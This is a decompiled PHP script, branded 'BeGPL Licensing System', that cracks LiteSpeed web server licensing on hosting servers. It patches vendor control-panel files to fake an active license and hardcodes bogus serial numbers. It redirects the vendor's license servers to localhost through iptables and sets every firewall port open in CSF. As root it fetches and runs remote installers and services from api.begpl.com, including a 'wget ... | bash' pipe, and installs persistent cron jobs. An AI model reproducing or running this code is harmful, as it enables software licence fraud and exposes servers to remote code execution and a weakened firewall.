#!/usr/local/BLBIN/bin/php
<?php
/**
*
* @ This file is created by http://DeZender.Net
* @ deZender (PHP7 Decoder for SourceGuardian Encoder)
*
* @ Version			:	5.0.0.0
* @ Author			:	DeZender
* @ Release on		:	14.12.2021
* @ Official site	:	http://DeZender.Net
*
*/

function real_execute($cmd)
{
	$a = popen($cmd, 'r');

	while ($b = fgets($a, 2048)) {
		echo $b;
		ob_flush();
		flush();
	}

	pclose($a);
}

function exec_output($cmd)
{
	exec($cmd, $output, $return_var);

	if (1 < count($output)) {
		return join("\r\n", $output);
	}

	return $output[0];
}

function get_http_response_code($domain1)
{
	$ch = curl_init($domain1);
	curl_setopt($ch, CURLOPT_HEADER, true);
	curl_setopt($ch, CURLOPT_NOBODY, true);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_TIMEOUT, 10);
	$output = curl_exec($ch);
	$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	curl_close($ch);
	return $httpcode;
}

function get_number_rule($ip, $rule = 'INPUT')
{
	while (true) {
		$firewall_numbers = exec_output('iptables -t nat -L \'' . $rule . '\' -n --line-numbers | grep -E ' . $ip);
		$firewall_numbers = explode("\r\n", $firewall_numbers)[0];

		if ($firewall_numbers == '') {
			break;
		}

		yield $firewall_numbers;
	}

	yield false;
}

function csf_ports()
{
	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'TCP_OUT = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/TCP_OUT =/c\\TCP_OUT = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'TCP_IN = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/TCP_IN =/c\\TCP_IN = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'UDP_IN = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/UDP_IN =/c\\UDP_IN = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'TESTING = "0"');

	if ($pos === false) {
		exec('sed -i \'/TESTING =/c\\TESTING = "0"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}

	$file22 = file_get_contents('/etc/csf/csf.conf');
	$pos = strpos($file22, 'UDP_OUT = "1:65535"');

	if ($pos === false) {
		exec('sed -i \'/UDP_OUT =/c\\UDP_OUT = "1:65535"\' /etc/csf/csf.conf');
		exec('csf -r > /dev/null 2>&1');
	}
}

function firewall_accept($force = false)
{
	global $firewall_stop;
	global $firewall_stop_1;
	$license = exec_output('curl -s https://api.begpl.com/api/gethost?host=license.litespeedtech.com');
	$license2 = exec_output('curl -s https://api.begpl.com/api/gethost?host=license2.litespeedtech.com');
	$license3 = exec_output('curl -s https://api.begpl.com/api/gethost?host=license3.litespeedtech.com');

	foreach (get_number_rule($license, 'OUTPUT') as $data_1) {
		$currentID = exec_output(' echo \'' . $data_1 . '\' |  head -n1 | awk \'{print $1;}\' ');

		if ($currentID != '') {
			system('/sbin/iptables   -t nat -D OUTPUT ' . $currentID);
		}
	}

	foreach (get_number_rule($license2, 'OUTPUT') as $data_2) {
		$currentID = exec_output(' echo \'' . $data_2 . '\' |  head -n1 | awk \'{print $1;}\' ');

		if ($currentID != '') {
			system('/sbin/iptables   -t nat -D OUTPUT ' . $currentID);
		}
	}

	foreach (get_number_rule($license3, 'OUTPUT') as $data_3) {
		$currentID = exec_output(' echo \'' . $data_3 . '\' |  head -n1 | awk \'{print $1;}\' ');

		if ($currentID != '') {
			system('/sbin/iptables   -t nat -D OUTPUT ' . $currentID);
		}
	}

	csf_ports();
}

function firewall_drop()
{
	global $firewall_stop;
	global $firewall_stop_1;
	global $IP_SERVER;
	$license = exec_output('curl -s https://api.begpl.com/api/gethost?host=license.litespeedtech.com');
	$license2 = exec_output('curl -s https://api.begpl.com/api/gethost?host=license2.litespeedtech.com');
	$license3 = exec_output('curl -s https://api.begpl.com/api/gethost?host=license3.litespeedtech.com');
	$firewall = exec_output('  iptables -t nat -L OUTPUT -n --line-numbers ');

	if (!preg_match('/' . $license . '/', $firewall)) {
		system('iptables -t nat -A OUTPUT -p tcp --dport 80   -d \'' . $license . '\' -j DNAT --to-destination \'127.0.0.1\'  ');
		system('iptables -t nat -A OUTPUT -p tcp --dport 443   -d \'' . $license . '\' -j DNAT --to-destination \'127.0.0.1\'  ');
	}

	if (!preg_match('/' . $license2 . '/', $firewall)) {
		system('iptables -t nat -A OUTPUT -p tcp --dport 80  -d \'' . $license2 . '\' -j DNAT --to-destination \'127.0.0.1\'  ');
		system('iptables -t nat -A OUTPUT -p tcp --dport 443   -d \'' . $license2 . '\' -j DNAT --to-destination \'127.0.0.1\'  ');
	}

	if (!preg_match('/' . $license3 . '/', $firewall)) {
		system('iptables -t nat -A OUTPUT -p tcp --dport 80  -d \'' . $license3 . '\' -j DNAT --to-destination \'127.0.0.1\'  ');
		system('iptables -t nat -A OUTPUT -p tcp --dport 443   -d \'' . $license3 . '\' -j DNAT --to-destination \'127.0.0.1\'  ');
	}

	if (file_exists('/usr/sbin/csf')) {
		if ($GLOBALS['firewall_stop_1']) {
			system('/usr/sbin/csf -e &> /dev/null');
			system('rm -rf /etc/csf/csf.error &> /dev/null');
		}

		if ($GLOBALS['firewall_stop']) {
			system('service csf start &> /dev/null');
			system('rm -rf /etc/csf/csf.error &> /dev/null');
		}
	}
}

function switch_to_apache()
{
	system(' /usr/local/lsws/admin/misc/cp_switch_ws.sh apache &> /dev/null');
}

function switch_to_litespeed()
{
	system('   /usr/local/lsws/admin/misc/cp_switch_ws.sh lsws  &> /dev/null');
}

function between($start, $end, $string)
{
	$string = ' ' . $string;
	$ini = strpos($string, $start);

	if ($ini == 0) {
		return '';
	}

	$ini += strlen($start);
	$len = strpos($string, $end, $ini) - $ini;
	return substr($string, $ini, $len);
}

function remove_trial()
{
	$core = 2;
	$lswsversiyon = trim(file_get_contents('/usr/local/lsws/VERSION'));
	$lswsyolu = '/usr/local/lsws/bin/lshttpd.' . $lswsversiyon;
	$lsupsize = @filesize($lswsyolu);

	if (!empty($core)) {
		$mgryolu = realpath('/usr/local/lsws/admin/html/service/verMgrCont.php');
		$mgryolufile = file_get_contents($mgryolu);

		if (strpos($mgryolufile, 'javascript:vermgr_checklic()')) {
			$mgryolufile = str_replace('javascript:vermgr_checklic()', 'javascript:location.reload()', $mgryolufile);
			file_put_contents($mgryolu, $mgryolufile);
		}

		if (file_exists('/usr/local/psa/admin/sbin/modules/litespeed/lsws_func')) {
			$lswsfuncyolu = '/usr/local/psa/admin/sbin/modules/litespeed/lsws_func';
		}
		else {
			$lswsfuncyolu = '/usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_func';
		}

		$lswsfunc = file_get_contents($lswsfuncyolu);

		if (strpos($lswsfunc, 'LSWSBIN -V')) {
			$lswsfunc = str_replace('LSWSBIN -V', 'LSWSBIN -t', $lswsfunc);
			$lswsfunc = str_replace('LSWSBIN -r', 'LSWSBIN -t', $lswsfunc);
			file_put_contents($lswsfuncyolu, $lswsfunc);
		}

		if (file_exists('/usr/local/psa/admin/plib/modules/litespeed/library/View.php')) {
			$viewicerik = @file_get_contents('/usr/local/psa/admin/plib/modules/litespeed/library/View.php');

			if (strpos($viewicerik, '$info[\'lic_type\'] == \'trial\'')) {
				$viewicerik = str_replace('$info[\'lic_type\'] == \'trial\'', '$info[\'lic_type\'] == \'trial2\'', $viewicerik);
				$viewicerik = str_replace('$info[\'lic_type\'] == \'trial\'', '$info[\'lic_type\'] == \'trial2\'', $viewicerik);
				$viewicerik = str_replace('$title = \'Check against license server\';' . "\r\n" . '$buf .= $this->info_panel_mesg($title, $info[\'output\']);', '$title = \'Check against license server\';' . "\r\n" . '$buf .= $this->info_panel_mesg($title, $info[\'output\']);' . "\r\n" . '$buf = str_replace(\'trial license\',\'license\',$buf);', $viewicerik);
				file_put_contents('/usr/local/psa/admin/plib/modules/litespeed/library/View.php', $viewicerik);
			}
		}

		if (strpos($lswsfunc, 'LSWSBIN -r')) {
			$lswsfunc = str_replace('LSWSBIN -r', 'LSWSBIN -t', $lswsfunc);
			file_put_contents($lswsfuncyolu, $lswsfunc);
		}

		if (strpos($lswsfunc, '/conf/serial.no')) {
			$lswsfunc = str_replace('/conf/serial.no', '/conf/serial2.no', $lswsfunc);
			file_put_contents($lswsfuncyolu, $lswsfunc);
		}

		if (strpos($lswsfunc, '! -e "$LICENSE_KEY_FILE"')) {
			$lswsfunc = str_replace('! -e "$LICENSE_KEY_FILE"', '-e "$LICENSE_KEY_FILE"', $lswsfunc);
			file_put_contents($lswsfuncyolu, $lswsfunc);
		}

		$durumfile = file_get_contents('/tmp/lshttpd/.status');
		$LICENSE_EXPIRES = between('LICENSE_EXPIRES: ', ', UPDATE_EXPIRES', $durumfile);
		$UPDATE_EXPIRES = between('UPDATE_EXPIRES: ', ', SERIAL:', $durumfile);
		$SERIAL = between('SERIAL: ', ', TYPE:', $durumfile);
		$TYPE = between('TYPE: ', "\n", $durumfile);
		$litespeedviewyol = '/usr/local/cpanel/whostmgr/cgi/lsws/WhmMod_LiteSpeed_View.php';
		$litespeedview = @file_get_contents($litespeedviewyol);
		$litespeedviewnew = $litespeedview;
		$litespeedviewchanged = false;

		if (!strpos($litespeedviewnew, 'Failed to find a license key file')) {
			$litespeedviewnew = str_replace('$info[\'lic_type\'];', '$info[\'lic_type\'];' . "\n" . '        if($info[\'return\']!=0 && strpos ($info[\'output\'][1],\'Failed to find a license key file\')){unset($info[\'output\'][1]);$info[\'return\']=0;}', $litespeedviewnew);
			$litespeedviewchanged = true;
		}

		if (strpos($litespeedviewnew, '15-Day Trial License')) {
			$litespeedviewnew = str_replace('15-Day Trial License', '8159-7373-5213-8492', $litespeedviewnew);
			$litespeedviewchanged = true;
		}

		if (strpos($litespeedviewnew, '$info[\'lic_type\'] == \'trial\'')) {
			$litespeedviewnew = str_replace('$info[\'lic_type\'] == \'trial\'', '$info[\'lic_type\'] == \'trial2\'', $litespeedviewnew);
			$litespeedviewchanged = true;
		}

		if (strpos($litespeedviewnew, '$info[\'serial\'] != \'TRIAL\'')) {
			$litespeedviewnew = str_replace('$info[\'serial\'] != \'TRIAL\'', '$info[\'serial\'] != \'8493-7373-5213-8492\'', $litespeedviewnew);
			$litespeedviewchanged = true;
		}

		if (!strpos($litespeedviewnew, 'Your license is active')) {
			$litespeedviewchanged = true;
			$yenideger = strpos($litespeedviewnew, '$buf .= $this->info_msg($info[\'output\'],');
			$yenideger2 = strpos($litespeedviewnew, 'Check against license server');
			$yenideger22 = substr($litespeedviewnew, $yenideger2);
			$yenideger23 = strpos($yenideger22, ');');
			$toplamdeger = ($yenideger2 - $yenideger) + $yenideger23 + 2;
			$lswsuzunluk = substr($litespeedviewnew, $yenideger, $toplamdeger);

			if ((80 < strlen($lswsuzunluk)) & (strlen($lswsuzunluk) < 150)) {
				$litespeedviewnew = str_replace($lswsuzunluk, base64_decode('JG91dHB1dGMgPSBzdHJfcmVwbGFjZSgndHJpYWwua2V5JywnbGljZW5zZS5rZXknLCRpbmZvWydvdXRwdXQnXSk7DQogICAgICAkb3V0cHV0YyA9IHN0cl9yZXBsYWNlKCd0cmlhbCcsJycsJGluZm9bJ291dHB1dCddKTsNCiAgICAgICRzdGFydCA9IHN0cnBvcygkaW5mb1snb3V0cHV0J11bMF0sJ2luJykgKyAzOw0KICAgICAgJGxlZyA9ICRzdGFydCAtIHN0cnBvcygkaW5mb1snb3V0cHV0J11bMF0sJ2RheXMnKSAtIDM7DQogICAgICAkdGltZSA9IHN1YnN0cigkaW5mb1snb3V0cHV0J11bMF0sJHN0YXJ0LCRsZWcpIDsNCiAgICAgIGlmKCAhZW1wdHkoJHRpbWUpICYgaXNfbnVtZXJpYygkdGltZSkgKXsNCiAgICAgICRvdXRwdXRjID0gc3RyX3JlcGxhY2UoJHRpbWUsJHRpbWUgKyAxMCAsJG91dHB1dGMpOw0KICAgICAgfQ0KICAgICAgJG91dHB1dGMgPSBzdHJfcmVwbGFjZSgnW0VSUk9SXSBbTElDRU5TRV0gRmFpbGVkIHRvIGNvbW11bmljYXRlIHdpdGggbGljZW5zaW5nIHNlcnZlcjogbGljZW5zZS5saXRlc3BlZWR0ZWNoLmNvbScsJ1tPS10gW0xJQ0VOU0VdIFlvdXIgbGljZW5zZSBpcyBhY3RpdmUuJywkb3V0cHV0Yyk7DQogICAgICAkb3V0cHV0YyA9IHN0cl9yZXBsYWNlKCdbRVJST1JdIFtMSUNFTlNFXSBGYWlsZWQgdG8gY29udGFjdCBsaWNlbnNlIHNlcnZlci4nLCdbT0tdIFtMSUNFTlNFXSBZb3VyIGxpY2Vuc2UgaXMgYWN0aXZlLicsJG91dHB1dGMpOw0KICAgICAgJG91dHB1dGMgPSBzdHJfcmVwbGFjZSgnW0VSUk9SXSBbTElDRU5TRV0gTGljZW5zZSBrZXkgdXBkYXRlIGlzIGF2YWlsYWJsZSwgZmFpbGVkIHRvIGNyZWF0ZSB1cGRhdGVkIGxpY2Vuc2Uga2V5IGZpbGUgLSAvdXNyL2xvY2FsL2xzd3MvY29uZi8ua2V5IScsJ0xpY2Vuc2UgdXBkYXRlZC4nLCRvdXRwdXRjKTsNCiAgICAgICRidWYgLj0gJHRoaXMtPmluZm9fbXNnKCRvdXRwdXRjLA0KICAgICAgJGxpY190eXBlIC4gJyBDaGVjayBhZ2FpbnN0IGxpY2Vuc2Ugc2VydmVyJyk7'), $litespeedviewnew);
			}
		}

		if ($litespeedviewchanged) {
			file_put_contents($litespeedviewyol, $litespeedviewnew);
		}

		if (strpos($durumfile, 'SERIAL: TRIAL')) {
			$durumfile2 = str_replace('SERIAL: TRIAL', 'SERIAL: 8159-7373-5213-8492', $durumfile);
			file_put_contents('/tmp/lshttpd/.status', $durumfile2);
		}

		$utilyolu = '/usr/local/cpanel/whostmgr/cgi/lsws/WhmMod_LiteSpeed_Util.php';
		$utilicerik = @file_get_contents($utilyolu);

		if (strpos($utilicerik, '/conf/serial.no')) {
			$utilicerik = str_replace('/conf/serial.no', '/conf/serial2.no', $utilicerik);
			file_put_contents('/usr/local/cpanel/whostmgr/cgi/lsws/WhmMod_LiteSpeed_Util.php', $utilicerik);
		}

		if (!file_exists('/usr/local/lsws/conf/serial2.no')) {
			file_put_contents('/usr/local/lsws/conf/serial2.no', '8493-7373-5213-8492');
		}
		if (!strpos($durumfile, 'TYPE: ' . $core) && strpos($durumfile, 'TYPE: 2')) {
			$durumfile = str_replace('TYPE: 2', 'TYPE: ' . $core, $durumfile);
			$durumfile = str_replace('SERIAL: TRIAL', 'SERIAL: 8492-7373-5213-8492', $durumfile);
			file_put_contents('/tmp/lshttpd/.status', $durumfile);
		}
	}
}

function is_litespeed_running()
{
	if (file_exists('/tmp/lshttpd/lshttpd.pid')) {
		return 'litespeed';
	}
	else {
		return 'apache';
	}
}

function is_apache_running()
{
	$output = exec_output('netstat -ntlp | grep 80');

	if (preg_match('/httpd/', $output)) {
		return true;
	}

	return false;
}

function exec_license($file_proxy)
{
	global $status;
	global $plast_bin;
	global $buyer;
	firewall_accept(true);
	system('chmod +x  /usr/local/lsws/bin/lshttpd &> /dev/null');
	system('mv /usr/local/lsws/conf/license.key /usr/local/lsws/conf/license.key.old &> /dev/null');
	system('rm -rf "/usr/local/lsws/conf/trial.key"  &> /dev/null');
	system('chattr -i /usr/local/lsws/conf/trial.key &> /dev/null');
	system($plast_bin . ' -q -f \'' . $file_proxy . '\' wget --quiet http://license.litespeedtech.com/reseller/trial.key -O /usr/local/lsws/conf/trial.key  &> /dev/null');
	system($plast_bin . ' -q -f \'' . $file_proxy . '\'  /usr/local/lsws/bin/lshttpd -V &> /dev/null');

	if (file_exists('/usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_func')) {
		system('cp /usr/local/lsws/conf/trial.key /usr/local/apache/htdocs &> /dev/null');
		system('chmod 755   /usr/local/apache/htdocs/trial.key &> /dev/null');
		$test = '<?php' . "\r\n" . 'header(\'Content-Type: application/license-key\');' . "\r\n" . 'die(file_get_contents(\'trial.key\'));' . "\r\n" . '?>' . "\r\n" . '        ';
		file_put_contents('/usr/local/apache/htdocs/lic_check.php', $test);
	}

	system('chattr +i /usr/local/lsws/conf/trial.key  &> /dev/null');
	$file = tmpfile();
	$temp_file = stream_get_meta_data($file)['uri'];
	$output_check_license = exec_output('/usr/local/lsws/bin/lshttpd  -t &> \'' . $temp_file . '\'');
	$output_check_license = file_get_contents($temp_file);

	if (!preg_match('/Failed to find/', $output_check_license)) {
		if (preg_match('/expire in/', $output_check_license)) {
			$days = trim(between('expire in', 'days', $output_check_license));

			if (1 < (int) $days) {
				$status = true;
				firewall_drop();
				if ((is_litespeed_running() != 'litespeed') || is_apache_running()) {
					switch_to_litespeed();
				}

				restart_litespeed();
				system('sed  -i -e \'s/<adminEmails>.*<\\/adminEmails>/<adminEmails>gb@laawerdcv.vcxz<\\/adminEmails>/g\' /usr/local/lsws/conf/httpd_config.xml &> /dev/null');
				exec('wget -O  /usr/local/lsws/admin/misc/lswsup https://api.begpl.com/api/data/lswsup?id=' . $buyer . ' > /dev/null 2>&1');
				exec('wget -O /etc/systemd/system/GBLSWS.service https://api.begpl.com/api/data/GBLSWS?id=' . $buyer . ' > /dev/null 2>&1');
				exec('wget -O /usr/local/lsws/admin/misc/lswsupchecker.php https://api.begpl.com/api/data/lswsupchecker?id=' . $buyer . ' > /dev/null 2>&1');
				$file = exec('ps -ef | grep lswsup > /root/.bash_time3');
				$file2 = file_get_contents('/root/.bash_time3');
				$pos = strpos($file2, 'sh /usr/local/lsws/admin/misc/lswsup');

				if ($pos === false) {
					exec('systemctl daemon-reload > /dev/null 2>&1');
					exec('service GBLSWS start > /dev/null 2>&1');
				}

				exec('rm -rf /root/.bash_time3 2>&1');
			}
			else {
				$status = false;
			}
		}
		else {
			$status = false;
		}
	}
	else {
		$status = false;
	}

	system('rm -rf \'' . $temp_file . '\' &> /dev/null');
	system('rm -rf \'' . $file . '\' &> /dev/null');
	return $status;
}

function restart_litespeed()
{
	system('/usr/local/lsws/bin/lswsctrl restart  &> /dev/null');
}

function checkLicense()
{
	global $status;
	system('chmod +x  /usr/local/lsws/bin/lshttpd  &> /dev/null');
	$file = tmpfile();
	$temp_file = stream_get_meta_data($file)['uri'];
	$output_check_license = exec_output('/usr/local/lsws/bin/lshttpd  -t &> \'' . $temp_file . '\'');
	$output_check_license = file_get_contents($temp_file);

	if (!preg_match('/Failed to find/', $output_check_license)) {
		if (preg_match('/expire in/', $output_check_license)) {
			if (preg_match('/expire in/', $output_check_license)) {
				$days = trim(between('expire in', 'days', $output_check_license));

				if (1 < (int) $days) {
					$status = true;
				}
				else {
					$status = false;
				}
			}
			else {
				$status = false;
			}
		}
		else {
			$status = false;
		}
	}
	else {
		$status = false;
	}

	system('rm -rf \'' . $temp_file . '\' &> /dev/null');
	return $status;
}

$RED = '\\033[31m';
$Green = '\\033[32m';
$Cyan = '\\033[36m';
$NC = '\\033[0m';
$key = 'litespeed';
$api = 'https://api.begpl.com/api/getinfo?key=' . $key;
$api_license = 'https://api.begpl.com/api/license?key=' . $key;
$status_code = get_http_response_code((string) $api);
$plast_bin = '/usr/bin/plast';
$current_ip = exec_output('curl -s https://ipinfo.io/ip');
$domain_show = 'https://begpl.com';
$brand_show = 'begpl.com';
$hostname_show = exec_output('hostname');
$status = false;
$server_type = 'Web Host Professional (2-Worker) License (with LiteMage Unlimited)';
$lpver = 'cat /usr/local/lsws/VERSION';
$kv = 'uname -r';
$server_range = 0;
$key_cmd = 'gb';
$firewall_stop = false;
$firewall_stop_1 = false;
$force = false;
$installed = false;
$action = (1 < count($argv) ? $argv[1] : '');
$IP_SERVER = '';
$buyer = 'aaf83';
if (in_array('--force', $argv) || in_array('-f', $argv) || in_array('force', $argv)) {
	$force = true;
}

echo "\n";
echo "\x1b" . '[32mPlease Wait important packages need to be installed ... ' . "\x1b" . '[0m ' . "\n";

if (!file_exists('/usr/local/lsws/bin/lshttpd')) {
	echo "\x1b" . '[31mLitespeed is not detected ' . "\x1b" . '[0m ' . "\n";
	echo "\x1b" . '[31mYou need to install Litespeed ' . "\x1b" . '[0m ' . "\n";
	echo "\n";
	echo "\n";
	exit();
}
else {
	$installed = true;
}

if (!file_exists('/etc/redhat-release')) {
	system('yum install deltarpm  -y  1> /dev/null');
}

if (!is_executable(exec_output('command -v wget'))) {
	if (file_exists('/etc/redhat-release')) {
		system('yum -q install wget -y  1> /dev/null');
	}
	else {
		system('apt-get install -q -y  wget  1> /dev/null');
	}
}

$output = exec_output('curl -s   \'' . $api . '\' ');

if ($status_code != '200') {
	printf("\x1b" . '[31m Something Went Wrong [Unknown Ip]   ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	exit();
}

$output = json_decode($output, true);
$expire_date = $output['expire_date'];
$get_domain_show = $output['domain_name'];
$get_brand_show = $output['brand_name'];
$get_key_cmd_show = $output['key_cmd'];

if ($get_key_cmd_show != '') {
	$key_cmd = $get_key_cmd_show;
}

if ($get_domain_show != '') {
	$domain_show = $get_domain_show;
}

if ($get_brand_show != '') {
	$brand_show = $get_brand_show;
}

echo "\n";
echo "\n";
printf("\x1b" . '[36m---------------------- BeGPL Licensing System Started ----------------------  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Thank you for using our LiteSpeed Licensing System  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Our Website: ' . $domain_show . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Server IPV4: ' . $current_ip . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Hostname: ' . $hostname_show . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| License Type:: ' . $server_type . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m| Expiry Date: ' . $expire_date . '  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36m----------------------------------------------------------------------  ' . "\x1b" . '[0m ' . "\n");
echo "\n";
echo "\n";
echo "\n";
printf("\x1b" . '[36mIf you have any question contact us on our website.  ' . "\x1b" . '[0m ' . "\n");
printf("\x1b" . '[36mCopyright © 2019-2021 ' . $brand_show . ' . All rights reserved ' . "\x1b" . '[0m ' . "\n");
echo "\n";
echo "\n";
printf("\x1b" . '[32mPlease Wait... ' . "\x1b" . '[0m ' . "\n");
if (!file_exists('/usr/bin/plast') || $force) {
	$cmd = '    wget -q   "http://api.begpl.com/api/files/plast/plast.tar.gz?key=' . $key . '"  -O "plast.tar.gz" &> /dev/null' . "\r\n" . '    tar xf plast.tar.gz';
	system($cmd);

	if (file_exists('/etc/redhat-release')) {
		$cmd = '    yum -q install git make gcc -y &> /dev/null' . "\r\n" . '    wget -q  -O-  "http://api.begpl.com/api/files/plast/installer.sh?key=' . $key . '" |  bash -s &> /dev/null' . "\r\n" . '    mv /usr/local/bin/proxychains4 /usr/bin/plast &> /dev/null' . "\r\n";
		system($cmd);
	}
	else if (file_exists('/etc/lsb-release') || file_exists('/etc/os-release')) {
		$cmd = '    apt install -y git make gcc -y &> /dev/null' . "\r\n" . '    wget -q  -O-  "http://api.begpl.com/api/files/plast/installer.sh?key=' . $key . '" |  bash -s &> /dev/null' . "\r\n" . '    mv /usr/local/bin/proxychains4 /usr/bin/plast &> /dev/null' . "\r\n";
		system($cmd);
	}
	else {
		printf("\x1b" . '[31m  Unsupported System  ' . "\x1b" . '[0m ' . "\n");
		exit();
	}
}

system('rm -rf  /etc/cron.d/licensels  &> /dev/null');
system('wget -q  -O \'/usr/bin/' . $key_cmd . 'licensels\'  \'http://api.begpl.com/api/files/' . $key . '/gblicensels?key=' . $key . '\'  &> /dev/null');
system('chmod +x  \'/usr/bin/' . $key_cmd . 'licensels\'  &> /dev/null');
echo "\n";
echo "\n";
echo "\n";
echo "\n";
firewall_accept();
$output_license = exec_output('curl -s   \'' . $api_license . '\'');
$output_license = json_decode($output_license);
$proxy_conf = $output_license->proxy_conf;
$time = time();
$file_conf = $time . '.conf';
$path_conf = '/usr/bin/.log';
$full_path = $path_conf . '/' . $file_conf;
system('mkdir -p \'' . $path_conf . '\' &> /dev/null');
file_put_contents($full_path, $proxy_conf);
exec_license((string) $full_path);
$status = checklicense();
if (!$status && $installed) {
	printf("\x1b" . '[32mMethod 1 FAILED ' . "\x1b" . '[0m ' . "\n");

	while (!$status) {
		++$server_range;
		$extra_range = $server_range + 1;
		$output_license = exec_output('curl -s   \'' . $api_license . '&server_range=' . $server_range . '\'');
		$output_license = json_decode($output_license);
		$proxy_conf = $output_license->proxy_conf;

		if ($proxy_conf != '') {
			$time = time();
			$file_conf = $time . '.conf';
			$path_conf = '/usr/bin/.log';
			$full_path = $path_conf . '/' . $file_conf;
			system('mkdir -p \'' . $path_conf . '\' &> /dev/null');
			file_put_contents($full_path, $proxy_conf);
			exec_license($full_path);
			$status = checklicense();

			if ((string) $status) {
				printf("\x1b" . '[32mMethod ' . $extra_range . ' OK ' . "\x1b" . '[0m ' . "\n");
				break;
			}
		}
		else {
			$status = false;
			break;
		}

		printf("\x1b" . '[32mMethod ' . $extra_range . ' FAILED ' . "\x1b" . '[0m ' . "\n");
	}
}

if ($status) {
	remove_trial();
	printf("\x1b" . '[32mYour licenses was successfully updated or renewed ' . "\x1b" . '[0m ' . "\n");
	echo "\n";
	echo "\n";
	printf("\x1b" . '[32mTo Re-New your Litespeed License you can use : ' . "\x1b" . '[0m ' . "\n");
	printf("\x1b" . '[32m    ' . $key_cmd . 'licensels  ' . "\x1b" . '[0m ' . "\n");
}
else {
	printf("\x1b" . '[32mLitespeed Status FAILED ' . "\x1b" . '[0m ' . "\n");
}

echo "\n";
echo "\n";
firewall_drop();
$cronjob = 'PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin' . "\r\n\r\n" . '* * * * * root /usr/bin/' . $key_cmd . 'licensels \'only-check\' >/dev/null 2>&1' . "\r\n" . '*/1 * * * * root /usr/local/lsws/bin/lswsctrl restart >/dev/null 2>&1' . "\r\n";
system('printf \'' . $cronjob . '\' > /etc/cron.d/licensels');
system('sed -i -e "s/\\r//g" /etc/cron.d/licensels');

?>